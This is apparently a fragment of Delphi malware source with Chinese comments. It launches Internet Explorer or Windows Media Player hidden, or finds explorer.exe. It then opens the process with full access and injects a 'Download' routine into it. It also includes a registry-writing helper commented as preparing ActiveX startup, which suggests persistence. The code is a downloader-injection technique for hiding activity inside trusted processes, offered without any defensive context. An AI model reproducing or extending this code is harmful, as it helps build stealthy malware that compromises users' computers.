//插入IE需要用到的函数 function GetIEAppPath:string; var iekey: Hkey; iename: array [0..255] of char; vType,dLength :DWORD; begin vType := REG_SZ; RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey); dLength := SizeOf(iename); if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then Result := iename else Result := '%programfiles%\Internet Explorer\IEXPLORE.EXE'; RegCloseKey(iekey); end; //写注册表 用到的函数 为activeX启动准备 function Skrivreg(key:Hkey; subkey,name,value:string):boolean; var regkey:hkey; begin result := false; RegCreateKey(key,PChar(subkey),regkey); if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then result := true; RegCloseKey(regkey); end;
//插入media player用到的函数 function GetwmAppPath:string; var wmkey: Hkey; iename: array [0..255] of char; vType,dLength :DWORD; begin vType := REG_SZ; RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\wmplayer.EXE',0,KEY_ALL_ACCESS,wmkey); dLength := SizeOf(iename); if RegQueryValueEx(wmkey, '' , nil, @vType, @iename[0], @dLength) = 0 then Result := iename else Result := '%programfiles%\Windows Media Player\wmplayer.EXE'; RegCloseKey(wmkey); end;
procedure RunInject(InjType:integer); var ProcessHandle, PID: longword;
begin if InjType=0 then //注入explorer.exe begin //获取Exp进程的PID码 GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid); end else if InjType=3 then //注入 media player begin winexec(PChar(GetwmAppPath),sw_hide); sleep(500); GetWindowThreadProcessId(FindWindow('WMPlayerApp', nil), @Pid); end else //注入iexplore.exe begin //CreateProcess(nil,PChar(GetIEAppPath), nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo); winexec(PChar(GetIEAppPath),sw_hide); sleep(500); GetWindowThreadProcessId(FindWindow('IEFrame', nil), @Pid); end; //打开进程 ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID); Inject(ProcessHandle, @Download); //关闭对像 CloseHandle(ProcessHandle); end;